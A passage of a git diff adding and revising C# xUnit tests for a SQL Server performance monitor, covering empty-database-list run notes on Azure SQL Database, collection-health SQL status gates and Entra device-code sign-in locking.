+        Assert.Equal(0, TrendBuckets.AutoMinutes(hoursBack * 60, 1, TrendBudget.Chart.AutoPoints) % 60);
+        var asOf = DateTime.UtcNow;
+
+        async Task<double> Duration(params string[]? names) =>
+            (await _service.GetQueryDurationTrendAsync(_serverId, hoursBack, null, null, names, asOf)).Single().Value!.Value;
+
+        var a = await Duration("DbA");
+        var b = await Duration("DbB");
+        Assert.Equal(6_000 / BucketSeconds, a, 9);
+        Assert.Equal(3_000 / BucketSeconds, b, 9);
+        Assert.Equal(a + b, await Duration("DbA", "DbB"), 9);
+        Assert.Equal((9_000 + 4) / BucketSeconds, await Duration(), 9);
+
+        async Task<double> Executions(params string[]? names) =>
+            (await _service.GetExecutionCountTrendAsync(_serverId, hoursBack, null, null, names)).Single().Value!.Value;
+
+        var executionsA = await Executions("DbA");
+        Assert.Equal(10 / BucketSeconds, executionsA, 9);
+        Assert.Equal(executionsA + await Executions("DbB"), await Executions("DbA", "DbB"), 9);
+        Assert.Equal(40 / BucketSeconds + 20 / BucketSeconds, await Executions(), 9);
+    }
+}
diff --git a/Lite.Tests/EmptyDatabaseListNoteLiteTests.cs b/Lite.Tests/EmptyDatabaseListNoteLiteTests.cs
new file mode 100644
index 0000000000..d24e45e7de
--- /dev/null
+++ b/Lite.Tests/EmptyDatabaseListNoteLiteTests.cs
@@ -0,0 +1,331 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Tests;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// A per-database run whose database list comes back empty records SUCCESS with 0 rows. Without a note that reads
+/// as "nothing ran". Two things empty the list on an Azure SQL Database logical server: every user database is
+/// monitored as its own server (the long-query read leaves those to their own registrations), or every database is
+/// excluded. The run keeps SUCCESS and carries a note that says why nothing was read (#4961).
+///
+/// <para>The runs below go through the real per-database loop of the definition runner with the database list as
+/// the only hook. An empty list opens no database connection, so no fake reader is needed.</para>
+/// </summary>
+public sealed class EmptyDatabaseListNoteLiteTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+    private readonly string _configDir;
+
+    public EmptyDatabaseListNoteLiteTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        _configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(_configDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+            {
+                Directory.Delete(_tempDir, recursive: true);
+            }
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    /* ── the shared notes ── */
+
+    [Fact]
+    public void TheNotes_AreFixedText_InProductWords()
+    {
+        Assert.Equal("no database read: every user database is monitored as its own server", EmptyDatabaseListNote.EverySeparatelyMonitored);
+        Assert.Equal("no database read: every database is excluded", EmptyDatabaseListNote.EveryExcluded);
+    }
+
+    [Theory]
+    [InlineData(EmptyDatabaseListNote.EverySeparatelyMonitored)]
+    [InlineData(EmptyDatabaseListNote.EveryExcluded)]
+    public void AServerWhoseEveryRunCarriesTheNote_ReadsItWithItsRunCount_AndNoQualifier(string note)
+    {
+        /* index_object_stats is a collector the health bands expect to find user databases for, so the missing
+           qualifier comes from the note, not from the collector being left out of that list. */
+        Assert.True(CollectorHealthClassifier.ExpectsUserDatabases("index_object_stats"));
+        Assert.DoesNotContain(CollectorHealthClassifier.EmptyEnumerationMarker, note, StringComparison.Ordinal);
+        Assert.False(CollectorHealthClassifier.HasMeasurements(note));
+
+        var formatted = CollectorHealthClassifier.FormatCollectionNote(
+            note, noteCount: 96, totalRuns: 96, collectorName: "index_object_stats", targetHasUserDatabases: true);
+
+        Assert.Equal(note + " (all 96 runs)", formatted);
+        Assert.DoesNotContain(CollectorHealthClassifier.HasUserDatabasesQualifier, formatted, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(0, 0, false, false, false, null)]
+    [InlineData(0, 0, false, true, false, EmptyDatabaseListNote.EveryExcluded)]
+    [InlineData(0, 0, true, true, false, EmptyDatabaseListNote.EveryExcluded)]
+    [InlineData(0, 0, false, true, true, null)]
+    [InlineData(2, 0, true, false, false, EmptyDatabaseListNote.EverySeparatelyMonitored)]
+    [InlineData(2, 0, true, true, true, EmptyDatabaseListNote.EverySeparatelyMonitored)]
+    [InlineData(2, 1, true, false, false, null)]
+    [InlineData(2, 2, false, true, false, null)]
+    public void TheNote_NamesTheReasonTheListEmptied_AndNothingItCannotName(
+        int listed, int read, bool skipsSeparatelyMonitored, bool exclusionsConfigured, bool databaseScoped, string? expected)
+    {
+        Assert.Equal(expected, EmptyDatabaseListNote.For(listed, read, skipsSeparatelyMonitored, exclusionsConfigured, databaseScoped));
+    }
+
+    /* ── the run ── */
+
+    [Fact]
+    public async Task EveryUserDatabaseMonitoredAsItsOwnServer_RecordsTheRunWithItsNote()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: new[] { "alpha", "zeta" }, excludedDatabases: Array.Empty<string>());
+        fixture.Service.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "alpha", "zeta" });
+
+        var written = await fixture.Service.RunCollectorDefinitionAsync(LongQueryCompletionsCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(0, written);
+        Assert.Equal(EmptyDatabaseListNote.EverySeparatelyMonitored, fixture.Service.TelemetryFor(fixture.ServerId).Note);
+    }
+
+    /* A real logical server lists master beside its user databases, and the long-query trace never keeps a session
+       in master (LongQueryTraceDatabases), so a list of master plus user databases that are all registered
+       separately has nothing left to read either. The tests above list user databases only. */
+
+    [Fact]
+    public async Task EveryUserDatabaseMonitoredAsItsOwnServer_WithMasterListed_RecordsTheRunWithItsNote()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: new[] { "alpha", "zeta" }, excludedDatabases: Array.Empty<string>());
+        var read = ListThenReadNothing(fixture, "master", "alpha", "zeta");
+
+        var written = await fixture.Service.RunCollectorDefinitionAsync(LongQueryCompletionsCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(0, written);
+        Assert.Equal(EmptyDatabaseListNote.EverySeparatelyMonitored, fixture.Service.TelemetryFor(fixture.ServerId).Note);
+        Assert.Empty(read);
+    }
+
+    [Fact]
+    public async Task OnlyMasterListed_WithEveryUserDatabaseExcluded_RecordsTheExcludedNote_AndReadsNothing()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: Array.Empty<string>(), excludedDatabases: new[] { "alpha", "zeta" });
+        var read = ListThenReadNothing(fixture, "master");
+
+        var written = await fixture.Service.RunCollectorDefinitionAsync(LongQueryCompletionsCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(0, written);
+        Assert.Equal(EmptyDatabaseListNote.EveryExcluded, fixture.Service.TelemetryFor(fixture.ServerId).Note);
+        Assert.Empty(read);
+    }
+
+    [Fact]
+    public async Task OnlyMasterListed_WithNothingExcluded_StaysWithoutANote_AndReadsNothing()
+    {
+        /* No user database at all: nothing is monitored separately and nothing is excluded, so no note can name a reason. */
+        var fixture = await BuildFixtureAsync(registeredDatabases: Array.Empty<string>(), excludedDatabases: Array.Empty<string>());
+        var read = ListThenReadNothing(fixture, "master");
+
+        var written = await fixture.Service.RunCollectorDefinitionAsync(LongQueryCompletionsCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(0, written);
+        Assert.Null(fixture.Service.TelemetryFor(fixture.ServerId).Note);
+        Assert.Empty(read);
+    }
+
+    [Fact]
+    public async Task AUserDatabaseNotMonitoredSeparately_IsStillRead_WithMasterListed()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: new[] { "alpha" }, excludedDatabases: Array.Empty<string>());
+        var read = ListThenReadNothing(fixture, "master", "alpha", "zeta");
+
+        await fixture.Service.RunCollectorDefinitionAsync(LongQueryCompletionsCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(new[] { "zeta" }, read);
+        Assert.Null(fixture.Service.TelemetryFor(fixture.ServerId).Note);
+    }
+
+    /// <summary>
+    /// Guard, not RED first: only the long-query read leaves master out. Every other per-database collector still reads
+    /// every database the server lists, master included, and a collector that skips nothing never gets this note.
+    /// </summary>
+    [Fact]
+    public async Task ACollectorThatSkipsNothing_StillReadsMaster_AndTheSeparatelyMonitoredDatabases()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: new[] { "alpha", "zeta" }, excludedDatabases: Array.Empty<string>());
+        var read = ListThenReadNothing(fixture, "master", "alpha", "zeta");
+
+        await fixture.Service.RunCollectorDefinitionAsync(DeadlocksCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(new[] { "master", "alpha", "zeta" }, read);
+        Assert.Null(fixture.Service.TelemetryFor(fixture.ServerId).Note);
+    }
+
+    [Fact]
+    public async Task EveryDatabaseExcluded_RecordsTheRunWithItsNote()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: Array.Empty<string>(), excludedDatabases: new[] { "alpha", "zeta" });
+        fixture.Service.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string>());
+
+        var written = await fixture.Service.RunCollectorDefinitionAsync(LongQueryCompletionsCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(0, written);
+        Assert.Equal(EmptyDatabaseListNote.EveryExcluded, fixture.Service.TelemetryFor(fixture.ServerId).Note);
+    }
+
+    [Fact]
+    public async Task EveryDatabaseExcluded_NotesACollectorThatReadsEveryDatabaseToo()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: Array.Empty<string>(), excludedDatabases: new[] { "alpha", "zeta" });
+        fixture.Service.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string>());
+
+        await fixture.Service.RunCollectorDefinitionAsync(DeadlocksCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(EmptyDatabaseListNote.EveryExcluded, fixture.Service.TelemetryFor(fixture.ServerId).Note);
+    }
+
+    [Fact]
+    public async Task AnEmptyListWithNoExclusions_StaysWithoutANote()
+    {
+        var fixture = await BuildFixtureAsync(registeredDatabases: Array.Empty<string>(), excludedDatabases: Array.Empty<string>());
+        fixture.Service.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string>());
+
+        var written = await fixture.Service.RunCollectorDefinitionAsync(LongQueryCompletionsCollector.Instance, fixture.Server, CancellationToken.None);
+
+        Assert.Equal(0, written);
+        Assert.Null(fixture.Service.TelemetryFor(fixture.ServerId).Note);
+    }
+
+    /* ── the runner wiring ── */
+
+    [Fact]
+    public void TheRunner_TakesTheNoteFromTheSharedRule_AndCarriesNoTextOfItsOwn()
+    {
+        var runner = ReadLf(Path.Combine("Lite", "Services", "RemoteCollectorService.DefinitionRunner.cs"));
+
+        Assert.Contains("EmptyDatabaseListNote.For(", runner, StringComparison.Ordinal);
+        Assert.DoesNotContain("no database read", runner, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The assignment that follows the per-database loop is unconditional, so a note assigned anywhere earlier
+    /// would be erased by it. The note rides in that assignment instead.
+    /// </summary>
+    [Fact]
+    public void TheNote_IsMergedIntoTheAssignmentThatFollowsThePerDatabaseLoop()
+    {
+        var runner = ReadLf(Path.Combine("Lite", "Services", "RemoteCollectorService.DefinitionRunner.cs"));
+
+        var loopEnd = runner.IndexOf("context.CurrentDatabaseName = null;", StringComparison.Ordinal);
+        Assert.True(loopEnd > 0, "the per-database loop is followed by a reset of the current database");
+        var assignment = runner.IndexOf("telemetry.HostNote = EnumeratedCollectorDriver.MergeNotes(", loopEnd, StringComparison.Ordinal);
+        Assert.True(assignment > loopEnd, "the run note is assigned after the per-database loop");
+
+        var statement = runner[assignment..runner.IndexOf(';', assignment)];
+        Assert.Contains("emptyListNote", statement, StringComparison.Ordinal);
+    }
+
+    private sealed record Fixture(RemoteCollectorService Service, ServerConnection Server, int ServerId);
+
+    /// <summary>
+    /// The server lists exactly these databases, and each database the run opens is recorded and read as an empty
+    /// result, so a run never needs a connection.
+    /// </summary>
+    private static List<string> ListThenReadNothing(Fixture fixture, params string[] listed)
+    {
+        var read = new List<string>();
+        fixture.Service.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(listed.ToList());
+        fixture.Service.AzureDatabaseReaderOverrideForTests = (database, _) =>
+        {
+            read.Add(database);
+            return new DataTable().CreateDataReader();
+        };
+
+        return read;
+    }
+
+    /// <summary>
+    /// A logical-server registration (no database named) on the Azure SQL Database engine edition, so the
+    /// definition takes the per-database loop, plus one registration per named database on the same host.
+    /// </summary>
+    private async Task<Fixture> BuildFixtureAsync(string[] registeredDatabases, string[] excludedDatabases)
+    {
+        var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+
+        var serverManager = new ServerManager(_configDir);
+        var server = new ServerConnection
+        {
+            ServerName = "azure-test",
+            DisplayName = "azure-test",
+            ExcludedDatabases = excludedDatabases.ToList(),
+        };
+        serverManager.AddServer(server);
+        foreach (var database in registeredDatabases)
+        {
+            serverManager.AddServer(new ServerConnection
+            {
+                ServerName = "azure-test",
+                DisplayName = "azure-test " + database,
+                DatabaseName = database,
+            });
+        }
+
+        serverManager.GetConnectionStatus(server.Id).SqlEngineEdition = 5;
+
+        /* The long-query read names this install's session, so a run that reaches a database needs an install id to build
+           its query. The runs that read nothing never get that far. */
+        var service = new RemoteCollectorService(
+            duckDb, serverManager, new ScheduleManager(_configDir),
+            installIdStore: new InstallIdStore(_configDir, "test-machine", null));
+        return new Fixture(service, server, RemoteCollectorService.GetServerId(server));
+    }
+
+    private static string ReadLf(string relativePath)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !File.Exists(Path.Combine(dir, relativePath)))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, relativePath)).Replace("\r\n", "\n");
+    }
+}
diff --git a/Lite.Tests/EmptyEnumerationInventoryTests.cs b/Lite.Tests/EmptyEnumerationInventoryTests.cs
index fd4ed2877b..b47e745596 100644
--- a/Lite.Tests/EmptyEnumerationInventoryTests.cs
+++ b/Lite.Tests/EmptyEnumerationInventoryTests.cs
@@ -36,6 +36,7 @@ namespace PerformanceMonitorLite.Tests;
 /// silently never does. Darling.Tests pins the identical expectations against live Postgres on the same
 /// query shape.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class EmptyEnumerationInventoryTests : IClassFixture<SharedDuckDbFixture>, IDisposable
 {
     private const int ServerId = 4343;
diff --git a/Lite.Tests/EmptyEnumerationNoteTests.cs b/Lite.Tests/EmptyEnumerationNoteTests.cs
index e1975341ce..634a5eaa59 100644
--- a/Lite.Tests/EmptyEnumerationNoteTests.cs
+++ b/Lite.Tests/EmptyEnumerationNoteTests.cs
@@ -180,18 +180,43 @@ public void Last_Error_Stays_Gated_On_Failure_Statuses_Not_On_Message_Presence()
         /* The read-side guard that keeps this note out of the Collection Health "last error" surface. A
            broadening to error_message IS NOT NULL would turn every quiet enumeration cycle into a fake
            last-error — the note is deliberately visible ONLY in the raw collection-log detail grid. */
-        var source = File.ReadAllText(FindRepoFile(
-            Path.Combine("Lite", "Services", "LocalDataService.CollectionHealth.cs")));
+        var sql = LocalDataService.CollectionHealthSql;
 
-        /* #1855 replaced the value-MAX with a newest-first rank, so the gate now reads as the status
-           re-check on the rank-1 row. It is the SAME claim: the column can only ever be filled from a
-           failing run. Without the re-check the rank falls through to the newest row of any class when
-           no failure carried text, and a SUCCESS row's note would land here. */
+        /* #1855 replaced the value-MAX with a newest-first pick, and #5371 made it a keyed lookup: the
+           failing rows at the newest failing-with-text instant. The gate is the failing-status set on the
+           lookup's own rows - the SAME claim as before: the column can only ever be filled from a failing
+           run. Without it a SUCCESS row's note, sitting at the newest instant, would land here. */
         /* EXTENSION_MISSING joined the failing-status set with #3240 for twin-parity with Darling's
            reads (Lite's SQL Server collectors never write it, so the branch is inert on this SKU).
            Still a STATUS gate — the broadening this pin refuses is to message PRESENCE. */
-        Assert.Contains("MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error", source);
-        Assert.DoesNotContain("error_message IS NOT NULL", source);
+        Assert.Contains("failed.error_message AS last_error", sql);
+        Assert.Contains("AND   f.status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')", sql);
+        AssertEveryTextTestSitsBesideAStatusGate(sql);
+    }
+
+    /// <summary>
+    /// The old pin refused the substring "error_message IS NOT NULL" outright. The keyed lookups need the
+    /// test (it is what makes the newest-instant aggregate skip a failure written with no text), so the
+    /// refusal is narrowed to what it was really guarding: a presence test with no STATUS gate in front of it.
+    /// </summary>
+    private static void AssertEveryTextTestSitsBesideAStatusGate(string sql)
+    {
+        var at = 0;
+        var seen = 0;
+        while ((at = sql.IndexOf("error_message IS NOT NULL", at, StringComparison.Ordinal)) >= 0)
+        {
+            var before = sql.Substring(Math.Max(0, at - 160), Math.Min(160, at));
+            Assert.True(
+                before.Contains("status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')", StringComparison.Ordinal)
+                || before.Contains("status = 'SUCCESS'", StringComparison.Ordinal),
+                $"error_message IS NOT NULL at {at} has no status gate in front of it: ...{before}");
+            at += 1;
+            seen++;
+        }
+
+        /* The positive control for the loop above: the read carries these tests, so a loop that matched
+           nothing cannot pass. */
+        Assert.True(seen >= 4, $"expected the four gated text tests, saw {seen}");
     }
 
     /* ── #1837 health visibility: the note gets its own column, and it is NOT an error ── */
@@ -205,10 +230,12 @@ messages into a column whose tooltip promises it is NOT an error. Every gate on
            is still a STATUS gate — #1855's rank orders on whether the status-gated CASE came back empty,
            never on message presence alone (the pin above), so no read here can key on the fact that a
            row has text without first asking what kind of row it is. */
-        var source = File.ReadAllText(FindRepoFile(
-            Path.Combine("Lite", "Services", "LocalDataService.CollectionHealth.cs")));
+        var source = LocalDataService.CollectionHealthSql;
 
-        Assert.Contains("MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note", source);
+        /* #5371: the newest note is a keyed lookup (it was note_rank = 1), gated on SUCCESS on the lookup's
+           own rows - the same STATUS gate, never message presence alone. */
+        Assert.Contains("noted.error_message AS last_note", source);
+        Assert.Contains("AND   t.status = 'SUCCESS'", source);
         Assert.Contains("COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count", source);
     }
 
diff --git a/Lite.Tests/EngineGapNoteTests.cs b/Lite.Tests/EngineGapNoteTests.cs
index 2749d2415c..526064608f 100644
--- a/Lite.Tests/EngineGapNoteTests.cs
+++ b/Lite.Tests/EngineGapNoteTests.cs
@@ -688,8 +688,8 @@ private async Task<long> ScalarAsync(string sql)
     [Fact]
     public async Task ALoadTimeCollectorsLogRow_ThatArchivalMovedOutOfTheHotTable_StillReadsAsRan()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var tenDaysAgo = DateTime.UtcNow.AddDays(-10).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
         var oneMinuteAgo = DateTime.UtcNow.AddMinutes(-1).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
diff --git a/Lite.Tests/EntraDeviceCodeTests.cs b/Lite.Tests/EntraDeviceCodeTests.cs
index 1e9c77691e..da1a1b44c5 100644
--- a/Lite.Tests/EntraDeviceCodeTests.cs
+++ b/Lite.Tests/EntraDeviceCodeTests.cs
@@ -10,6 +10,8 @@
 using System.Collections.Generic;
 using System.IO;
 using System.Linq;
+using System.Net;
+using System.Net.Sockets;
 using System.Reflection;
 using System.Text.RegularExpressions;
 using System.Threading;
@@ -18,6 +20,7 @@
 using Lite.Tests;
 using Microsoft.Data.SqlClient;
 using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
 using PerformanceMonitorLite.Models;
 using PerformanceMonitorLite.Services;
 using Xunit;
@@ -47,6 +50,7 @@ namespace PerformanceMonitorLite.Tests;
 /// exists for. Comments and string literals are stripped FIRST at every such site, because these
 /// files carry comments naming the very calls being searched for.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public class EntraDeviceCodeTests
 {
     // ---- The connection string ------------------------------------------------------------
@@ -1949,6 +1953,334 @@ is why the second bucket is legitimate rather than a backlog. */
         }
     }
 
+    /// <summary>Exposes the protected database open, so a test can drive the connection the long-query trace creates its definition over.</summary>
+    private sealed class DatabaseOpenProbe : RemoteCollectorService
+    {
+        public DatabaseOpenProbe(DuckDbInitializer duckDb, ServerManager servers, ScheduleManager schedules)
+            : base(duckDb, servers, schedules)
+        {
+        }
+
+        public Task<SqlConnection> OpenAsync(ServerConnection server, string database, bool withoutReadOnlyIntent, CancellationToken cancellationToken) =>
+            OpenAzureDatabaseConnectionAsync(server, database, cancellationToken, withoutReadOnlyIntent);
+    }
+
+    [Fact]
+    public async Task ADatabaseOpenForADeviceCodeRegistration_ClaimsTheSignInSlot_WithOrWithoutReadOnlyIntent()
+    {
+        /* #4961: the long-query trace creates its session's definition on Azure SQL Database over a second connection of the
+           registration, with the read-only intent forced off, and every database open can be the first connection of a run to
+           raise the device-code prompt. Opens that did not claim the sign-in slot gave the prompt window no attempt to
+           publish onto, and no early return to hand a waiting UI thread back.
+
+           Observed without a tenant: while another sign-in holds the one slot, an open that claims it is refused with the
+           concurrent-sign-in message at once, and one that does not would start a real connect to a host this test never
+           reaches, which the bound below turns into a failure of the assertion. Both intents are driven in turn, and the
+           second one is also the proof that the first refusal gave back the lock the opens share. */
+        var tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        var configDir = Path.Combine(tempDir, "config");
+        Directory.CreateDirectory(configDir);
+
+        EntraDeviceCodeAuth.ResetForTests();
+        try
+        {
+            var servers = new ServerManager(configDir);
+            var server = new ServerConnection
+            {
+                ServerName = "example.database.windows.net",
+                DisplayName = "device-code-" + Guid.NewGuid().ToString("N")[..8],
+                DatabaseName = "alpha",
+                AuthenticationType = AuthenticationTypes.EntraDeviceCode,
+                ReadOnlyIntent = true,
+            };
+            servers.AddServer(server);
+            using var duckDb = new DuckDbInitializer(Path.Combine(tempDir, "test.duckdb"));
+            var probe = new DatabaseOpenProbe(duckDb, servers, new ScheduleManager(configDir));
+
+            var builder = new SqlConnectionStringBuilder();
+            ServerConnection.ApplyAuthentication(builder, AuthenticationTypes.EntraDeviceCode, null, null, null, null);
+
+            using var holder = EntraDeviceCodeAuth.Begin(builder);
+            Assert.NotNull(holder);
+
+            foreach (var withoutReadOnlyIntent in new[] { true, false })
+            {
+                using var bound = new CancellationTokenSource(TimeSpan.FromSeconds(10));
+                var refused = await Assert.ThrowsAsync<InvalidOperationException>(
+                    () => probe.OpenAsync(server, "alpha", withoutReadOnlyIntent, bound.Token));
+
+                Assert.Equal(EntraDeviceCodeAuth.ConcurrentSignInMessage, refused.Message);
+            }
+
+            /* A refusal must not have taken the slot from the attempt that holds it. */
+            Assert.True(EntraDeviceCodeAuth.SignInInFlight);
+        }
+        finally
+        {
+            EntraDeviceCodeAuth.ResetForTests();
+
+            try
+            {
+                Directory.Delete(tempDir, recursive: true);
+            }
+            catch (IOException)
+            {
+                /* Best-effort cleanup */
+            }
+        }
+    }
+
+    [Fact]
+    public void TheDatabaseOpen_TakesTheSignInLockBeforeItClaimsTheSlot_AndOwnsTheOneResolutionOfTheString()
+    {
+        /* The behaviour above shows the claim; this pins the order the claim depends on. Begin refuses an overlapping
+           sign-in, so the claim has to sit behind the lock CreateConnectionAsync takes, and the attempt has to exist before the
+           connection is built so a failed Begin leaves nothing open. And the registration's string is resolved in the wrapped
+           file: the long-query trace's seam reads it through there, which is why that partial is in neither bucket of the census. */
+        var code = CSharpSourceWalker.StripCommentsAndStrings(ParitySource.ReadFile("Lite/Services/RemoteCollectorService.cs"));
+        var at = code.IndexOf("Task<SqlConnection> OpenAzureDatabaseConnectionAsync(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "the per-database open must still exist");
+        var body = CSharpSourceWalker.BraceBalanced(code, code.IndexOf('{', at));
+
+        var signInLock = body.IndexOf("s_mfaAuthLock.WaitAsync(", StringComparison.Ordinal);
+        var claim = body.IndexOf("EntraDeviceCodeAuth.Begin(", StringComparison.Ordinal);
+        var connection = body.IndexOf("new SqlConnection(", StringComparison.Ordinal);
+
+        Assert.True(signInLock >= 0 && claim >= 0 && connection >= 0, "the per-database open must lock, claim and open");
+        Assert.True(signInLock < claim, "the sign-in lock must be taken before the slot is claimed");
+        Assert.True(claim < connection, "the slot must be claimed before the connection is built");
+        Assert.Contains("deviceCode.Token", body, StringComparison.Ordinal);
+        Assert.Contains("s_mfaAuthLock.Release()", body, StringComparison.Ordinal);
+
+        var resolution = code.IndexOf("string RegistrationConnectionString(", StringComparison.Ordinal);
+        Assert.True(resolution >= 0, "the registration's string must be resolved in this file");
+        Assert.Contains(
+            "CredentialResolver.GetConnectionString",
+            code[resolution..Math.Min(code.Length, resolution + 200)],
+            StringComparison.Ordinal);
+
+        foreach (var partial in new[]
+                 {
+                     "Lite/Services/RemoteCollectorService.LongQueryCompletions.cs",
+                     "Lite/Services/RemoteCollectorService.LegacyLongQuerySession.cs",
+                 })
+        {
+            var trace = CSharpSourceWalker.StripCommentsAndStrings(ParitySource.ReadFile(partial));
+            Assert.DoesNotContain("CredentialResolver.GetConnectionString", trace, StringComparison.Ordinal);
+            Assert.Contains("RegistrationConnectionString(server)", trace, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheDatabaseOpen_LocksAndChecksTheDeclineForEveryInteractiveMode_NotOnlyDeviceCode()
+    {
+        /* CreateConnectionAsync asks about the mode, AuthenticationTypes.RequiresInteractiveSignIn, for the lock and the declined
+           check, because both interactive modes need the same single-file treatment. The per-database open asks the same
+           question. Reading the connection string's keyword for device code instead would leave Entra MFA out of both. */
+        var code = CSharpSourceWalker.StripCommentsAndStrings(ParitySource.ReadFile("Lite/Services/RemoteCollectorService.cs"));
+        var at = code.IndexOf("Task<SqlConnection> OpenAzureDatabaseConnectionAsync(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "the per-database open must still exist");
+        var body = CSharpSourceWalker.BraceBalanced(code, code.IndexOf('{', at));
+
+        Assert.Contains("AuthenticationTypes.RequiresInteractiveSignIn(server.AuthenticationType)", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("ActiveDirectoryDeviceCodeFlow", body, StringComparison.Ordinal);
+        Assert.Contains("UserCancelledMfa", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A server that accepts a socket and never answers: an open pointed at it connects and then waits for a reply that does not
+    /// come, so a test can tell whether an open reached the network at all, with no tenant and no sign-in.
+    /// </summary>
+    private sealed class SilentServerSetup : IDisposable
+    {
+        private readonly string _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        private readonly TcpListener _listener = new(IPAddress.Loopback, 0);
+        private readonly DuckDbInitializer _duckDb;
+
+        public SilentServerSetup(string authenticationType)
+        {
+            _listener.Start();
+            var configDir = Path.Combine(_tempDir, "config");
+            Directory.CreateDirectory(configDir);
+
+            Servers = new ServerManager(configDir);
+            Server = new ServerConnection
+            {
+                ServerName = IPAddress.Loopback + "," + ((IPEndPoint)_listener.LocalEndpoint).Port.ToString(System.Globalization.CultureInfo.InvariantCulture),
+                DisplayName = "database-open-" + Guid.NewGuid().ToString("N")[..8],
+                DatabaseName = "alpha",
+                AuthenticationType = authenticationType,
+                ReadOnlyIntent = true,
+            };
+            Servers.AddServer(Server);
+            _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+            Probe = new DatabaseOpenProbe(_duckDb, Servers, new ScheduleManager(configDir));
+        }
+
+        public ServerManager Servers { get; }
+
+        public ServerConnection Server { get; }
+
+        public DatabaseOpenProbe Probe { get; }
+
+        /// <summary>Whether an open connected to the server: its socket is waiting to be accepted.</summary>
+        public bool WasReached => _listener.Pending();
+
+        public void Dispose()
+        {
+            _listener.Stop();
+            _duckDb.Dispose();
+
+            try
+            {
+                Directory.Delete(_tempDir, recursive: true);
+            }
+            catch (IOException)
+            {
+                /* Best-effort cleanup */
+            }
+        }
+    }
+
+    /// <summary>The lock that lets one interactive sign-in run at a time. It is private, so a test reads it by its name.</summary>
+    private static SemaphoreSlim SignInLock()
+    {
+        var field = typeof(RemoteCollectorService).GetField("s_mfaAuthLock", BindingFlags.NonPublic | BindingFlags.Static);
+        Assert.NotNull(field);
+        return (SemaphoreSlim)field.GetValue(null)!;
+    }
+
+    /// <summary>Ends an open that waits on the server that never answers, and waits for it to finish, so a failed test leaves nothing running.</summary>
+    private static async Task EndAsync(Task? open, CancellationTokenSource bound)
+    {
+        await bound.CancelAsync();
+
+        if (open is null)
+        {
+            return;
+        }
+
+        try
+        {
